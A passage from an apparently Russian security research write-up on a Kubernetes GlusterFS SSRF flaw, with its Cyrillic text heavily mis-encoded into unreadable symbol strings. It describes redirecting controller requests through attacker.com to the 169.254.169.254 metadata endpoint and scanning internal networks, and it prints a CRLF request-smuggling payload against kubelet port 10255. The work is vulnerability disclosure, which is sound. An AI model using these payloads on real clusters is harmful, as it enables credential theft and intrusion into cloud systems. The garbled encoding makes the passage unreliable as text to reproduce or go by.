ΠΎΠ΄Π° ΠΌΡ Π±ΡΠ»ΠΈ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½Ρ Π·Π°ΠΏΡΠΎΡΠ°ΠΌΠΈ ΡΠΈΠΏΠ° HTTP POST ΠΈ Π½Π΅ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΡΠ΅Π»Π° ΠΎΡΠ²Π΅ΡΠ°, Π΅ΡΠ»ΠΈ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΠΌΡΠΉ ΠΊΠΎΠ΄ Π±ΡΠ» 201. ΠΠΎΡΡΠΎΠΌΡ ΡΠ΅ΡΠΈΠ»ΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΡΠ°ΡΡΠΈΡΠΈΠ»ΠΈ ΡΡΠΎΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ Π²Π·Π»ΠΎΠΌΠ° Π½ΠΎΠ²ΡΠΌΠΈ ΠΏΠΎΠ΄Ρ
ΠΎΠ΄Π°ΠΌΠΈ.
ΠΠ²ΠΎΠ»ΡΡΠΈΡ Π½Π°ΡΠΈΡ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠΉ
- ΠΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ β1: ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ 302-Π³ΠΎ ΡΠ΅Π΄ΠΈΡΠ΅ΠΊΡΠ° ΡΠΎ Π²Π½Π΅ΡΠ½Π΅Π³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ° Π΄Π»Ρ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΌΠ΅ΡΠΎΠ΄Π° HTTP, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΈΠΉ ΡΠΏΠΎΡΠΎΠ± ΡΠ±ΠΎΡΠ° Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΡ Π΄Π°Π½Π½ΡΡ .
- ΠΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ β2: Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·Π°ΡΠΈΡ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ LAN ΠΈ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΡ ΡΠ΅ΡΡΡΡΠΎΠ².
- ΠΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ β3: ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ HTTP CRLF + smuggling (Β«ΠΊΠΎΠ½ΡΡΠ°Π±Π°Π½Π΄ΡΒ» Π·Π°ΠΏΡΠΎΡΠΎΠ²) Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ Π°Π΄Π°ΠΏΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ HTTP-Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π΄Π°Π½Π½ΡΡ , ΠΈΠ·Π²Π»Π΅ΡΠ΅Π½Π½ΡΡ ΠΈΠ· Π»ΠΎΠ³ΠΎΠ² kube-controller’Π°.
Π’Π΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΡΠΏΠ΅ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ
- Π ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΡΡ Azure Kubernetes Service (AKS) Ρ Kubernetes Π²Π΅ΡΡΠΈΠΈ 1.12 Π² ΡΠ΅Π³ΠΈΠΎΠ½Π΅ North Europe.
- ΠΠΏΠΈΡΠ°Π½Π½ΡΠ΅ Π²ΡΡΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡ Π½Π° ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΡ ΡΠ΅Π»ΠΈΠ·Π°Ρ Kubernetes Π·Π° ΠΈΡΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ΠΌ ΡΡΠ΅ΡΡΠ΅Π³ΠΎ ΡΡΠ΅Π½Π°ΡΠΈΡ, Ρ.ΠΊ. Π΅ΠΌΡ ΡΡΠ΅Π±ΠΎΠ²Π°Π»ΡΡ Kubernetes, ΡΠΎΠ±ΡΠ°Π½Π½ΡΠΉ Ρ Golang Π²Π΅ΡΡΠΈΠΈ β€ 1.12.
- ΠΠ½Π΅ΡΠ½ΠΈΠΉ ΡΠ΅ΡΠ²Π΅Ρ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ β
https://attacker.com
.
ΠΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ β1: ΡΠ΅Π΄ΠΈΡΠ΅ΠΊΡ HTTP-Π·Π°ΠΏΡΠΎΡΠ° POST Π² GET ΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ
ΠΠ·Π½Π°ΡΠ°Π»ΡΠ½ΡΠΉ ΡΠΏΠΎΡΠΎΠ± Π±ΡΠ» ΡΠ»ΡΡΡΠ΅Π½ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠ΅ΠΉ ΡΠ΅ΡΠ²Π΅ΡΠ° Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ° Π½Π° Π²ΠΎΠ·Π²ΡΠ°Ρ 302 HTTP Retcode, ΡΡΠΎΠ±Ρ ΠΊΠΎΠ½Π²Π΅ΡΡΠΈΡΠΎΠ²Π°ΡΡ POST-Π·Π°ΠΏΡΠΎΡ Π² GET-Π·Π°ΠΏΡΠΎΡ (ΡΠ°Π³ 4 Π½Π° ΡΡ Π΅ΠΌΠ΅):
ΠΠ΅ΡΠ²ΡΠΉ Π·Π°ΠΏΡΠΎΡ (3), ΠΈΡΡ
ΠΎΠ΄ΡΡΠΈΠΉ ΠΎΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠ° GlusterFS (Controller Manager), ΠΈΠΌΠ΅Π΅Ρ ΡΠΈΠΏ POST. ΠΡΠΏΠΎΠ»Π½ΠΈΠ² ΡΠ»Π΅Π΄ΡΡΡΠΈΠ΅ ΡΠ°Π³ΠΈ, ΠΌΡ ΡΠΌΠΎΠ³Π»ΠΈ ΠΏΡΠ΅Π²ΡΠ°ΡΠΈΡΡ Π΅Π³ΠΎ Π² GET:
- Π ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°
resturl
Π² StorageClass ΡΠΊΠ°Π·ΡΠ²Π°Π΅ΡΡΡhttp://attacker.com/redirect.php
. - Endpoint
https://attacker.com/redirect.php
ΠΎΡΠ²Π΅ΡΠ°Π΅Ρ ΡΡΠ°ΡΡΡ-ΠΊΠΎΠ΄ΠΎΠΌ 302 HTTP ΡΠΎ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ Location Header’ΠΎΠΌ:http://169.254.169.254
. ΠΡΠΎ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π»ΡΠ±ΠΎΠΉ Π΄ΡΡΠ³ΠΎΠΉ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΠΉ ΡΠ΅ΡΡΡΡ β Π² Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ redirect-ΡΡΡΠ»ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠΈΠΌΠ΅ΡΠ°. - ΠΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° net/http Golang’Π° ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»ΡΠ΅Ρ Π·Π°ΠΏΡΠΎΡ ΠΈ ΠΊΠΎΠ½Π²Π΅ΡΡΠΈΡΡΠ΅Ρ POST Π² GET Ρ 302-ΠΌ ΡΡΠ°ΡΡΡ-ΠΊΠΎΠ΄ΠΎΠΌ, Π² ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠ΅ ΡΠ΅Π³ΠΎ Π½Π° ΡΠ΅Π»Π΅Π²ΠΎΠΉ ΡΠ΅ΡΡΡΡ ΠΏΠΎΡΡΡΠΏΠ°Π΅Ρ HTTP-Π·Π°ΠΏΡΠΎΡ GET.
Π§ΡΠΎΠ±Ρ ΠΏΡΠΎΡΠΈΡΠ°ΡΡ ΡΠ΅Π»ΠΎ HTTP-ΠΎΡΠ²Π΅ΡΠ°, Π½ΡΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°ΡΡ describe
ΠΎΠ±ΡΠ΅ΠΊΡΠ° PVC:
kubectl describe pvc xxx
ΠΠΎΡ ΠΏΡΠΈΠΌΠ΅Ρ HTTP-ΠΎΡΠ²Π΅ΡΠ° Π² ΡΠΎΡΠΌΠ°ΡΠ΅ JSON, ΠΊΠΎΡΠΎΡΡΠΉ Π½Π°ΠΌ ΡΠ΄Π°Π»ΠΎΡΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ:
ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π½Π° ΡΠΎΡ ΠΌΠΎΠΌΠ΅Π½Ρ Π±ΡΠ»ΠΈ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½Ρ ΠΈΠ·-Π·Π° ΡΠ»Π΅Π΄ΡΡΡΠΈΡ
ΠΌΠΎΠΌΠ΅Π½ΡΠΎΠ²:
- ΠΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ Π²ΡΡΠ°Π²ΠΈΡΡ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² ΠΈΡΡ ΠΎΠ΄ΡΡΠΈΠΉ Π·Π°ΠΏΡΠΎΡ.
- ΠΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ POST-Π·Π°ΠΏΡΠΎΡ Ρ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°ΠΌΠΈ Π² ΡΠ΅Π»Π΅ (ΡΠ°ΠΊ ΡΠ΄ΠΎΠ±Π½ΠΎ Π·Π°ΠΏΡΠ°ΡΠΈΠ²Π°ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΊΠ»ΡΡΠ° Ρ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ° etcd, ΡΠ°Π±ΠΎΡΠ°ΡΡΠ΅Π³ΠΎ Π½Π° 2379 ΠΏΠΎΡΡΡ, Π΅ΡΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π½Π΅Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π½ΡΠΉ HTTP).
- ΠΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΡΠ΅Π»Π° ΠΎΡΠ²Π΅ΡΠ°, ΠΊΠΎΠ³Π΄Π° ΡΡΠ°ΡΡΡ-ΠΊΠΎΠ΄ Π±ΡΠ» ΡΠ°Π²Π΅Π½ 200 ΠΈ ΠΎΡΠ²Π΅Ρ Π½Π΅ ΠΈΠΌΠ΅Π» JSON Content-Type.
ΠΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ β2: ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠΉ ΡΠ΅ΡΠΈ
ΠΡΠΎΡ ΠΌΠ΅ΡΠΎΠ΄ half-blind SSRF Π·Π°ΡΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΡΡ Π΄Π»Ρ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π²Π½ΡΡΡΠ΅Π½Π½Π΅ΠΉ ΡΠ΅ΡΠΈ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠ° ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΡΡΠ»ΡΠ³ ΠΈ ΠΎΠΏΡΠΎΡΠ° ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΡΠ»ΡΡΠ°ΡΡΠΈΡ ΡΠ΅ΡΠ²ΠΈΡΠΎΠ² (ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ Metadata, Kubelet, etcd ΠΈ Ρ.Π΄.) Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ ΠΎΡΠ²Π΅ΡΠΎΠ² kube controller’Π°.
Π‘ΠΏΠ΅ΡΠ²Π° Π±ΡΠ»ΠΈ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Ρ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅ ΡΠ»ΡΡΠ°ΡΡΠΈΠ΅ ΠΏΠΎΡΡΡ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΎΠ² Kubernetes (8443, 10250, 10251 ΠΈ Ρ.Π΄.), Π° Π·Π°ΡΠ΅ΠΌ ΠΏΡΠΈΡΠ»ΠΎΡΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ.
ΠΠΈΠ΄Ρ, ΡΡΠΎ Π΄Π°Π½Π½ΡΠΉ ΡΠΏΠΎΡΠΎΠ± ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΠ΅ΡΡΡΡΠΎΠ² ΠΎΡΠ΅Π½Ρ ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ΅Π½ ΠΈ Π½Π΅ ΡΠΎΠ²ΠΌΠ΅ΡΡΠΈΠΌ Ρ ΠΊΠ»Π°ΡΡΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ ΡΠΊΠ°Π½Π΅ΡΠ°ΠΌΠΈ ΠΈ SSRF-ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ°ΠΌΠΈ, ΠΌΡ ΡΠ΅ΡΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠ΅ worker’Ρ Π² bash-ΡΠΊΡΠΈΠΏΡΠ΅, ΠΊΠΎΡΠΎΡΡΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΡΡΡ Π²Π΅ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΡΠΎΠ±Ρ Π±ΡΡΡΡΠ΅Π΅ ΠΏΡΠΎΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°ΡΡ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ 172.16.0.0/12 Π²Π½ΡΡΡΠ΅Π½Π½Π΅ΠΉ ΡΠ΅ΡΠΈ, ΠΏΠ°ΡΠ°Π»Π»Π΅Π»ΡΠ½ΠΎ Π·Π°ΠΏΡΡΠΊΠ°Π»ΠΈΡΡ 15 worker’ΠΎΠ². ΠΡΡΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΡΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ IP Π±ΡΠ» Π²ΡΠ±ΡΠ°Π½ ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠΈΠΌΠ΅ΡΠ° ΠΈ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° IP-Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠ° ΡΡΠ»ΡΠ³.
Π§ΡΠΎΠ±Ρ ΠΏΡΠΎΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°ΡΡ ΠΎΠ΄ΠΈΠ½ IP-Π°Π΄ΡΠ΅Ρ ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΡΡ, Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°ΡΡ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅:
- ΡΠ΄Π°Π»ΠΈΡΡ ΠΏΡΠΎΠ²Π΅ΡΠ΅Π½Π½ΡΠΉ Π² ΠΏΡΠΎΡΠ»ΡΠΉ ΡΠ°Π· StorageClass;
- ΡΠ΄Π°Π»ΠΈΡΡ ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠΈΠΉ ΠΏΡΠΎΠ²Π΅ΡΠ΅Π½Π½ΡΠΉ Persistent Volume Claim;
- ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ IP ΠΈ Port Π²
sc.yaml
; - ΡΠΎΠ·Π΄Π°ΡΡ StorageClass Ρ Π½ΠΎΠ²ΡΠΌ IP ΠΈ ΠΏΠΎΡΡΠΎΠΌ;
- ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΡΠΉ PVC;
- ΠΈΠ·Π²Π»Π΅ΡΡ ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΡ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ describe’Π° Π΄Π»Ρ PVC.
ΠΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ β3: ΠΈΠ½ΡΠ΅ΠΊΡΠΈΡ CRLF + smuggling HTTP Π² Β«ΡΡΠ°ΡΡΡ Β» Π²Π΅ΡΡΠΈΡΡ ΠΊΠ»Π°ΡΡΠ΅ΡΠ° Kubernetes
ΠΡΠ»ΠΈ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΡΡΠΎΠΌΡ ΠΏΡΠΎΠ²Π°ΠΉΠ΄Π΅Ρ ΠΏΡΠ΅Π΄Π»Π°Π³Π°Π» ΠΊΠ»ΠΈΠ΅Π½ΡΠ°ΠΌ ΡΡΠ°ΡΡΠ΅ Π²Π΅ΡΡΠΈΠΈ ΠΊΠ»Π°ΡΡΠ΅ΡΠ° K8s ΠΈ ΠΎΡΠΊΡΡΠ²Π°Π» ΠΈΠΌ Π΄ΠΎΡΡΡΠΏ ΠΊ Π»ΠΎΠ³Π°ΠΌ kube-controller-managerβΠ°, ΡΡΡΠ΅ΠΊΡ ΡΡΠ°Π½ΠΎΠ²ΠΈΠ»ΡΡ Π΅ΡΠ΅ Π·Π½Π°ΡΠΈΡΠ΅Π»ΡΠ½Π΅Π΅.
ΠΠ»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ Π³ΠΎΡΠ°Π·Π΄ΠΎ ΡΠ΄ΠΎΠ±Π½Π΅Π΅ ΠΌΠ΅Π½ΡΡΡ ΠΏΠΎ ΡΠ²ΠΎΠ΅ΠΌΡ ΡΡΠΌΠΎΡΡΠ΅Π½ΠΈΡ HTTP-Π·Π°ΠΏΡΠΎΡΡ, ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π½ΡΠ΅ Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ HTTP-ΠΎΡΠ²Π΅ΡΠ°.
ΠΠ»Ρ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅Π³ΠΎ ΡΡΠ΅Π½Π°ΡΠΈΡ Π΄ΠΎΠ»ΠΆΠ½Ρ Π±ΡΠ»ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠ΅ ΡΡΠ»ΠΎΠ²ΠΈΡ:
- ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅ΡΡ Π΄ΠΎΡΡΡΠΏ ΠΊ Π»ΠΎΠ³Π°ΠΌ kube-controller-manager (ΠΊΠ°ΠΊ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π² Azure LogInsights).
- ΠΠ»Π°ΡΡΠ΅Ρ Kubernetes Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π²Π΅ΡΡΠΈΡ Golang Π½ΠΈΠΆΠ΅ 1.12.
ΠΡ ΡΠ°Π·Π²Π΅ΡΠ½ΡΠ»ΠΈ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠ΅ ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΠ΅, ΠΈΠΌΠΈΡΠΈΡΡΡΡΠ΅Π΅ ΠΎΠ±ΠΌΠ΅Π½ Π΄Π°Π½Π½ΡΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρ Go-ΠΊΠ»ΠΈΠ΅Π½ΡΠΎΠΌ GlusterFS ΠΈ ΠΏΠΎΠ΄Π΄Π΅Π»ΡΠ½ΡΠΌ ΡΠ΅Π»Π΅Π²ΡΠΌ ΡΠ΅ΡΠ²Π΅ΡΠΎΠΌ (ΠΏΠΎΠΊΠ° Π²ΠΎΠ·Π΄Π΅ΡΠΆΠΈΠΌΡΡ ΠΎΡ ΠΏΡΠ±Π»ΠΈΠΊΠ°ΡΠΈΠΈ PoC).
ΠΡΠ»Π° ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π°
ΠΠ±ΡΠ΅Π΄ΠΈΠ½ΠΈΠ² ΠΎΠΏΠΈΡΠ°Π½Π½ΡΡ Π²ΡΡΠ΅ half-blind SSRF Π²ΠΌΠ΅ΡΡΠ΅ Ρ ΡΡΠΎΠΉ, ΠΌΡ ΡΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΡΡΠ»Π°ΡΡ Π·Π°ΠΏΡΠΎΡΡ ΠΏΠΎ ΡΠ²ΠΎΠ΅ΠΌΡ Π²ΠΊΡΡΡ, Π²ΠΊΠ»ΡΡΠ°Ρ Π·Π°ΠΌΠ΅Π½Ρ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΌΠ΅ΡΠΎΠ΄Π° HTTP, ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² ΠΈ Π΄Π°Π½Π½ΡΡ , ΠΊΠΎΡΠΎΡΡΠ΅ kube-controller-manager Π·Π°ΡΠ΅ΠΌ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°Π».
ΠΠΎΡ ΠΏΡΠΈΠΌΠ΅Ρ ΡΠ°Π±ΠΎΡΠ΅ΠΉ Β«Π½Π°ΠΆΠΈΠ²ΠΊΠΈΒ» Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ΅ resturl
StorageClass’Π°, ΠΊΠΎΡΠΎΡΠ°Ρ ΡΠ΅Π°Π»ΠΈΠ·ΡΠ΅Ρ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ Π°ΡΠ°ΠΊΠΈ:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
Π ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠ΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ ΠΎΡΠΈΠ±ΠΊΠ° unsolicited response, ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΠΎ ΠΊΠΎΡΠΎΡΠΎΠΉ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² Π»ΠΎΠ³ΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»Π»Π΅ΡΠ°. ΠΠ»Π°Π³ΠΎΠ΄Π°ΡΡ Π²ΠΊΠ»ΡΡΠ΅Π½Π½ΠΎΠΉ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Β«ΠΌΠ½ΠΎΠ³ΠΎΡΠ»ΠΎΠ²Π½ΠΎΡΡΠΈΒ» ΡΡΠ΄Π° ΠΆΠ΅ ΡΠΎΡ ΡΠ°Π½ΡΠ΅ΡΡΡ ΠΈ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΠΎΡΠ²Π΅ΡΠ½ΠΎΠ³ΠΎ HTTP-ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ.
ΠΡΠΎ Π±ΡΠ»Π° Π½Π°ΡΠ° ΡΠ°ΠΌΠ°Ρ ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠΈΠ²Π½Π°Ρ Β«Π½Π°ΠΆΠΈΠ²ΠΊΠ°Β» Π² ΡΠ°ΠΌΠΊΠ°Ρ
proof of concept.
ΠΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΠ°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ ΠΎΠ΄, ΠΌΡ ΡΠΌΠΎΠ³Π»ΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠΈ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΠ· ΡΠ»Π΅Π΄ΡΡΡΠΈΡ Π°ΡΠ°ΠΊ Π² ΠΊΠ»Π°ΡΡΠ΅ΡΠ°Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠΎΠ² managed k8s: ΡΡΠΊΠ°Π»Π°ΡΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ΠΌ ΡΡΠ΅ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ Π½Π° metadata-ΠΈΠ½ΡΡΠ°Π½ΡΠ°Ρ , DoS ΠΌΠ°ΡΡΠ΅ΡΠ° Ρ ΠΏΠΎΠΌΠΎΡΡΡ (Π½Π΅Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π½ΡΡ ) HTTP-Π·Π°ΠΏΡΠΎΡΠΎΠ² Π½Π° ΠΌΠ°ΡΡΠ΅Ρ-ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ°Ρ etcd ΠΈ Ρ.ΠΏ.
ΠΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΡ
